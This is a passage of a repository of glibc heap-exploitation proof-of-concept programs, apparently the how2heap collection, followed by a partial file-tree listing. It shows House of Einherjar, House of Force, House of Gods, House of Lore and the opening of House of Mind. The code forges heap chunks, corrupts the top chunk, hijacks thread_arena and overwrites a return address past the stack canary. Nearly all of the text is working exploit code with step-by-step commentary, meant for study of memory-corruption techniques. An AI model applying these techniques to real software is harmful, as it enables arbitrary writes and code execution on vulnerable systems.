fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
================================================
FILE: glibc_2.24/house_of_einherjar.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check
fake_chunk[1] = 0x00; // Arbitrary value; fake_chunk->size is ignored during backward consolidation.
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fwd: %#lx\n", fake_chunk[2]);
printf("bck: %#lx\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\n", fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
printf("\nWe allocate 0xf8 bytes for 'b'.\n");
printf("b: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size
printf("\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);
}
================================================
FILE: glibc_2.24/house_of_force.c
================================================
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
assert(ctr_chunk == bss_var);
// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
================================================
FILE: glibc_2.24/house_of_gods.c
================================================
/* House of Gods PoC */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <inttypes.h>
/*
* Welcome to the House of Gods...
*
* House of Gods is an arena hijacking technique for glibc < 2.27. It supplies
* the attacker with an arbitrary write against the thread_arena symbol of
* the main thread. This can be used to replace the main_arena with a
* carefully crafted fake arena. The exploit was tested against
*
* - glibc-2.23
* - glibc-2.24
* - glibc-2.25
* - glibc-2.26
*
* Following requirements are mandatory
*
* - 8 allocs of arbitrary size to hijack the arena (+2 for ACE)
* - control over first 5 quadwords of a chunk's userdata
* - a single write-after-free bug on an unsorted chunk
* - heap address leak + libc address leak
*
* This PoC demonstrates how to leverage the House of Gods in order to hijack
* the thread_arena. But it wont explain how to escalate further to
* arbitrary code execution, since this step is trivial once the whole arena
* is under control.
*
* Also note, that the how2heap PoC might use more allocations than
* previously stated. This is intentional and has educational purposes.
*
* If you want to read the full technical description of this technique, going
* from zero to arbitrary code execution within only 10 to 11 allocations, here
* is the original document I've written
*
* https://github.com/Milo-D/house-of-gods/blob/master/rev2/HOUSE_OF_GODS.TXT
*
* I recommend reading this document while experimenting with
* the how2heap PoC.
*
* Besides that, this technique abuses a minor bug in glibc, which I have
* already submitted to bugzilla at
*
* https://sourceware.org/bugzilla/show_bug.cgi?id=29709
*
* AUTHOR: David Milosevic (milo)
*
* */
/* <--- Exploit PoC ---> */
int main(void) {
printf("=================\n");
printf("= House of Gods =\n");
printf("=================\n\n");
printf("=== Abstract ===\n\n");
printf("The core of this technique is to allocate a fakechunk overlapping\n");
printf("the binmap field within the main_arena. This fakechunk is located at\n");
printf("offset 0x850. Its sizefield can be crafted by carefully binning chunks\n");
printf("into smallbins or largebins. The binmap-chunk is then being linked into\n");
printf("the unsorted bin via a write-after-free bug in order to allocate it back\n");
printf("as an exact fit. One can now tamper with the main_arena.next pointer at\n");
printf("offset 0x868 and inject the address of a fake arena. A final unsorted bin\n");
printf("attack corrupts the narenas variable with a very large value. From there, only\n");
printf("two more allocation requests for at least 0xffffffffffffffc0 bytes of memory\n");
printf("are needed to trigger two consecutive calls to the reused_arena() function,\n");
printf("which in turn traverses the corrupted arena-list and sets thread_arena to the\n");
printf("address stored in main_arena.next - the address of the fake arena.\n\n");
printf("=== PoC ===\n\n");
printf("Okay, so let us start by allocating some chunks...\n\n");
/*
* allocate a smallchunk, for example a 0x90-chunk.
* */
void *SMALLCHUNK = malloc(0x88);
/*
* allocate the first fastchunk. We will use
* a 0x20-chunk for this purpose.
* */
void *FAST20 = malloc(0x18);
/*
* allocate a second fastchunk. This time
* a 0x40-chunk.
* */
void *FAST40 = malloc(0x38);
printf("%p is our 0x90-sized smallchunk. We will bin this chunk to forge a\n", SMALLCHUNK);
printf("fake sizefield for our binmap-chunk.\n\n");
printf("%p is our first fastchunk. Its size is 0x20.\n\n", FAST20);
printf("%p is our second fastchunk with a size of 0x40. The usecase of\n", FAST40);
printf("both fastchunks will be explained later in this PoC.\n\n");
printf("We can move our smallchunk to the unsorted bin by simply free'ing it...\n\n");
/*
* put SMALLCHUNK into the unsorted bin.
* */
free(SMALLCHUNK);
/*
* this is a great opportunity to simulate a
* libc leak. We just read the address of the
* unsorted bin and save it for later.
* */
const uint64_t leak = *((uint64_t*) SMALLCHUNK);
printf("And now we need to make a request for a chunk which can not be serviced by\n");
printf("our recently free'd smallchunk. Thus, we will make a request for a\n");
printf("0xa0-sized chunk - let us call this chunk INTM (intermediate).\n\n");
/*
* following allocation will trigger a binning
* process within the unsorted bin and move
* SMALLCHUNK to the 0x90-smallbin.
* */
void *INTM = malloc(0x98);
printf("Our smallchunk should be now in the 0x90-smallbin. This process also triggered\n");
printf("the mark_bin(m, i) macro within the malloc source code. If you inspect the\n");
printf("main_arena's binmap located at offset 0x855, you will notice that the initial\n");
printf("value of the binmap changed from 0x0 to 0x200 - which can be used as a valid\n");
printf("sizefield to bypass the unsorted bin checks.\n\n");
printf("We would also need a valid bk pointer in order to bypass the partial unlinking\n");
printf("procedure within the unsorted bin. But luckily, the main_arena.next pointer at\n");
printf("offset 0x868 points initially to the start of the main_arena itself. This fact\n");
printf("makes it possible to pass the partial unlinking without segfaulting.\n\n");
printf("So now that we have crafted our binmap-chunk, it is time to allocate it\n");
printf("from the unsorted bin. For that, we will abuse a write-after-free bug\n");
printf("on an unsorted chunk. Let us start...\n\n");
printf("First, allocate another smallchunk...\n");
/*
* recycle our previously binned smallchunk.
* Note that, it is not neccessary to recycle this
* chunk. I am doing it only to keep the heap layout
* small and compact.
* */
SMALLCHUNK = malloc(0x88);
printf("...and now move our new chunk to the unsorted bin...\n");
/*
* put SMALLCHUNK into the unsorted bin.
* */
free(SMALLCHUNK);
printf("...in order to tamper with the free'd chunk's bk pointer.\n\n");
/*
* bug: a single write-after-free bug on an
* unsorted chunk is enough to initiate the
* House of Gods technique.
* */
*((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8;
printf("Great. We have redirected the unsorted bin to our binmap-chunk.\n");
printf("But we also have corrupted the bin. Let's fix this, by redirecting\n");
printf("a second time.\n\n");
printf("The next chunk (head->bk->bk->bk) in the unsorted bin is located at the start\n");
printf("of the main-arena. We will abuse this fact and free a 0x20-chunk and a 0x40-chunk\n");
printf("in order to forge a valid sizefield and bk pointer. We will also let the 0x40-chunk\n");
printf("point to another allocated chunk (INTM) by writing to its bk pointer before\n");
printf("actually free'ing it.\n\n");
/*
* before free'ing those chunks, let us write
* the address of another chunk to the currently
* unused bk pointer of FAST40. We can reuse
* the previously requested INTM chunk for that.
*
* Free'ing FAST40 wont reset the bk pointer, thus
* we can let it point to an allocated chunk while
* having it stored in one of the fastbins.
*
* The reason behind this, is the simple fact that
* we will need to perform an unsorted bin attack later.
* And we can not request a 0x40-chunk to trigger the
* partial unlinking, since a 0x40 request will be serviced
* from the fastbins instead of the unsorted bin.
* */
*((uint64_t*) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);
/*
* and now free the 0x20-chunk in order to forge a sizefield.
* */
free(FAST20);
/*
* and the 0x40-chunk in order to forge a bk pointer.
* */
free(FAST40);
printf("Okay. The unsorted bin should now look like this\n\n");
printf("head -> SMALLCHUNK -> binmap -> main-arena -> FAST40 -> INTM\n");
printf(" bk bk bk bk bk\n\n");
printf("The binmap attack is nearly done. The only thing left to do, is\n");
printf("to make a request for a size that matches the binmap-chunk's sizefield.\n\n");
/*
* all the hard work finally pays off...we can
* now allocate the binmap-chunk from the unsorted bin.
* */
void *BINMAP = malloc(0x1f8);
printf("After allocating the binmap-chunk, the unsorted bin should look similar to this\n\n");
printf("head -> main-arena -> FAST40 -> INTM\n");
printf(" bk bk bk\n\n");
printf("And that is a binmap attack. We've successfully gained control over a small\n");
printf("number of fields within the main-arena. Two of them are crucial for\n");
printf("the House of Gods technique\n\n");
printf(" -> main_arena.next\n");
printf(" -> main_arena.system_mem\n\n");
printf("By tampering with the main_arena.next field, we can manipulate the arena's\n");
printf("linked list and insert the address of a fake arena. Once this is done,\n");
printf("we can trigger two calls to malloc's reused_arena() function.\n\n");
printf("The purpose of the reused_arena() function is to return a non-corrupted,\n");
printf("non-locked arena from the arena linked list in case that the current\n");
printf("arena could not handle previous allocation request.\n\n");
printf("The first call to reused_arena() will traverse the linked list and return\n");
printf("a pointer to the current main-arena.\n\n");
printf("The second call to reused_arena() will traverse the linked list and return\n");
printf("a pointer to the previously injected fake arena (main_arena.next).\n\n");
printf("We can reach the reused_arena() if we meet following conditions\n\n");
printf(" - exceeding the total amount of arenas a process can have.\n");
printf(" malloc keeps track by using the narenas variable as\n");
printf(" an arena counter. If this counter exceeds the limit (narenas_limit),\n");
printf(" it will start to reuse existing arenas from the arena list instead\n");
printf(" of creating new ones. Luckily, we can set narenas to a very large\n");
printf(" value by performing an unsorted bin attack against it.\n\n");
printf(" - force the malloc algorithm to ditch the current arena.\n");
printf(" When malloc notices a failure it will start a second allocation\n");
printf(" attempt with a different arena. We can mimic an allocation failure by\n");
printf(" simply requesting too much memory i.e. 0xffffffffffffffc0 and greater.\n\n");
printf("Let us start with the unsorted bin attack. We load the address of narenas\n");
printf("minus 0x10 into the bk pointer of the currently allocated INTM chunk...\n\n");
/*
* set INTM's bk to narenas-0x10. This will
* be our target for the unsorted bin attack.
* */
*((uint64_t*) (INTM + 0x8)) = leak - 0xa20;
printf("...and then manipulate the main_arena.system_mem field in order to pass the\n");
printf("size sanity checks for the chunk overlapping the main-arena.\n\n");
/*
* this way we can abuse a heap pointer
* as a valid sizefield.
* */
*((uint64_t*) (BINMAP + 0x20)) = 0xffffffffffffffff;
printf("The unsorted bin should now look like this\n\n");
printf("head -> main-arena -> FAST40 -> INTM -> narenas-0x10\n");
printf(" bk bk bk bk\n\n");
printf("We can now trigger the unsorted bin attack by requesting the\n");
printf("INTM chunk as an exact fit.\n\n");
/*
* request the INTM chunk from the unsorted bin
* in order to trigger a partial unlinking between
* head and narenas-0x10.
* */
INTM = malloc(0x98);
printf("Perfect. narenas is now set to the address of the unsorted bin's head\n");
printf("which should be large enough to exceed the existing arena limit.\n\n");
printf("Let's proceed with the manipulation of the main_arena.next pointer\n");
printf("within our previously allocated binmap-chunk. The address we write\n");
printf("to this field will become the future value of thread_arena.\n\n");
/*
* set main_arena.next to an arbitrary address. The
* next two calls to malloc will overwrite thread_arena
* with the same address. I'll reuse INTM as fake arena.
*
* Note, that INTM is not suitable as fake arena but
* nevertheless, it is an easy way to demonstrate that
* we are able to set thread_arena to an arbitrary address.
* */
*((uint64_t*) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);
printf("Done. Now all what's left to do is to trigger two calls to the reused_arena()\n");
printf("function by making two requests for an invalid chunksize.\n\n");
/*
* the first call will force the reused_arena()
* function to set thread_arena to the address of
* the current main-arena.
* */
malloc(0xffffffffffffffbf + 1);
/*
* the second call will force the reused_arena()
* function to set thread_arena to the address stored
* in main_arena.next - our fake arena.
* */
malloc(0xffffffffffffffbf + 1);
printf("We did it. We hijacked the thread_arena symbol and from now on memory\n");
printf("requests will be serviced by our fake arena. Let's check this out\n");
printf("by allocating a fakechunk on the stack from one of the fastbins\n");
printf("of our new fake arena.\n\n");
/*
* construct a 0x70-fakechunk on the stack...
* */
uint64_t fakechunk[4] = {
0x0000000000000000, 0x0000000000000073,
0x4141414141414141, 0x0000000000000000
};
/*
* ...and place it in the 0x70-fastbin of our fake arena
* */
*((uint64_t*) (INTM + 0x20)) = (uint64_t) (fakechunk);
printf("Fakechunk in position at stack address %p\n", fakechunk);
printf("Target data within the fakechunk at address %p\n", &fakechunk[2]);
printf("Its current value is %#lx\n\n", fakechunk[2]);
printf("And after requesting a 0x70-chunk...\n");
/*
* use the fake arena to perform arbitrary allocations
* */
void *FAKECHUNK = malloc(0x68);
printf("...malloc returns us the fakechunk at %p\n\n", FAKECHUNK);
printf("Overwriting the newly allocated chunk changes the target\n");
printf("data as well: ");
/*
* overwriting the target data
* */
*((uint64_t*) (FAKECHUNK)) = 0x4242424242424242;
printf("%#lx\n", fakechunk[2]);
/*
* confirm success
* */
assert(fakechunk[2] == 0x4242424242424242);
return EXIT_SUCCESS;
}
================================================
FILE: glibc_2.24/house_of_lore.c
================================================
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");
fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(0x100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}
================================================
FILE: glibc_2.24/house_of_mind_fastbin.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>
/*
House of Mind - Fastbin Variant
==========================
This attack is similar to the original 'House of Mind' in that it uses
a fake non-main arena in order to write to a new location. This
uses the fastbin for a WRITE-WHERE primitive in the 'fastbin'
variant of the original attack though. The original write for this
can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984.
By being able to allocate an arbitrary amount of chunks, a single byte
overwrite on a chunk size and a memory leak, we can control a super
powerful primitive.
This could be used in order to write a freed pointer to an arbitrary
location (which seems more useful). Or, this could be used as a
write-large-value-WHERE primitive (similar to unsortedbin attack).
Both are interesting in their own right though but the first
option is the most powerful primitive, given the right setting.
Malloc chunks have a specified size and this size information
special metadata properties (prev_inuse, mmap chunk and non-main arena).
The usage of non-main arenas is the focus of this exploit. For more information
on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/.
First, we need to understand HOW the non-main arena is known from a chunk.
This the 'heap_info' struct:
struct _heap_info
{
mstate ar_ptr; // Arena for this heap. <--- Malloc State pointer
struct _heap_info *prev; // Previous heap.
size_t size; // Current size in bytes.
size_t mprotect_size; // Size in bytes that has been mprotected
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment
} heap_info;
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48
The important thing to note is that the 'malloc_state' within
an arena is grabbed from the ar_ptr, which is the FIRST entry
of this. Malloc_state == mstate == arena
The main arena has a special pointer. However, non-main arenas (mstate)
are at the beginning of a heap section. They are grabbed with the
following code below, where the user controls the 'ptr' in 'arena_for_chunk':
#define heap_for_ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127
This macro takes the 'ptr' and subtracts a large value because the
'heap_info' should be at the beginning of this heap section. Then,
using this, it can find the 'arena' to use.
The idea behind the attack is to use a fake arena to write pointers
to locations where they should not go but abusing the 'arena_for_chunk'
functionality when freeing a fastbin chunk.
This POC does the following things:
- Finds a valid arena location for a non-main arena.
- Allocates enough heap chunks to get to the non-main arena location where
we can control the values of the arena data.
- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.
- Using this fake arena (ar_ptr), we can use the fastbin to write
to an unexpected location of the 'ar_ptr' with a heap pointer.
Requirements:
- A heap leak in order to know where the fake 'heap_info' is located at.
- Could be possible to avoid with special spraying techniques
- An unlimited amount of allocations
- A single byte overflow on the size of a chunk
- NEEDS to be possible to put into the fastbin.
- So, either NO tcache or the tcache needs to be filled.
- The location of the malloc state(ar_ptr) needs to have a value larger
than the fastbin size being freed at malloc_state.system_mem otherwise
the chunk will be assumed to be invalid.
- This can be manually inserted or CAREFULLY done by lining up
values in a proper way.
- The NEXT chunk, from the one that is being freed, must be a valid size
(again, greater than 0x20 and less than malloc_state.system_mem)
Random perks:
- Can be done MULTIPLE times at the location, with different sized fastbin
chunks.
- Does not brick malloc, unlike the unsorted bin attack.
- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak.
************************************
Written up by Maxwell Dulin (Strikeout)
************************************
*/
int main(){
printf("House of Mind - Fastbin Variant\n");
puts("==================================");
printf("The goal of this technique is to create a fake arena\n");
gitextract_asiwyu13/
├── .github/
│ └── workflows/
│ └── ci.yml
├── .gitignore
├── .gitmodules
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── calc_tcache_idx.c
├── ci/
│ ├── build/
│ │ ├── Dockerfile
│ │ └── action.yml
│ └── test/
│ └── action.yml
├── first_fit.c
├── glibc_2.23/
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── house_of_einherjar.c
│ ├── house_of_force.c
│ ├── house_of_gods.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_orange.c
│ ├── house_of_roman.c
│ ├── house_of_spirit.c
│ ├── house_of_storm.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── overlapping_chunks_2.c
│ ├── poison_null_byte.c
│ ├── sysmalloc_int_free.c
│ ├── unsafe_unlink.c
│ ├── unsorted_bin_attack.c
│ └── unsorted_bin_into_stack.c
├── glibc_2.24/
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── house_of_einherjar.c
│ ├── house_of_force.c
│ ├── house_of_gods.c
│ ├── house_of_lore.c
│ ├── house_of_mind_fastbin.c
│ ├── house_of_roman.c
│ ├── house_of_spirit.c
│ ├── house_of_storm.c
│ ├── large_bin_attack.c
│ ├── mmap_overlapping_chunks.c
│ ├── overlapping_chunks.c
│ ├── overlapping_chunks_2.c
│ ├── poison_null_byte.c
│ ├── sysmalloc_int_free.c
│ ├── unsafe_unlink.c
│ ├── unsorted_bin_attack.c
│ └── unsorted_bin_into_stack.c
├── glibc_2.27/
│ ├── fastbin_dup.c
│ ├── fastbin_dup_consolidate.c
│ ├── fastbin_dup_into_stack.c
│ ├── fastbin_reverse_into_tcache.c
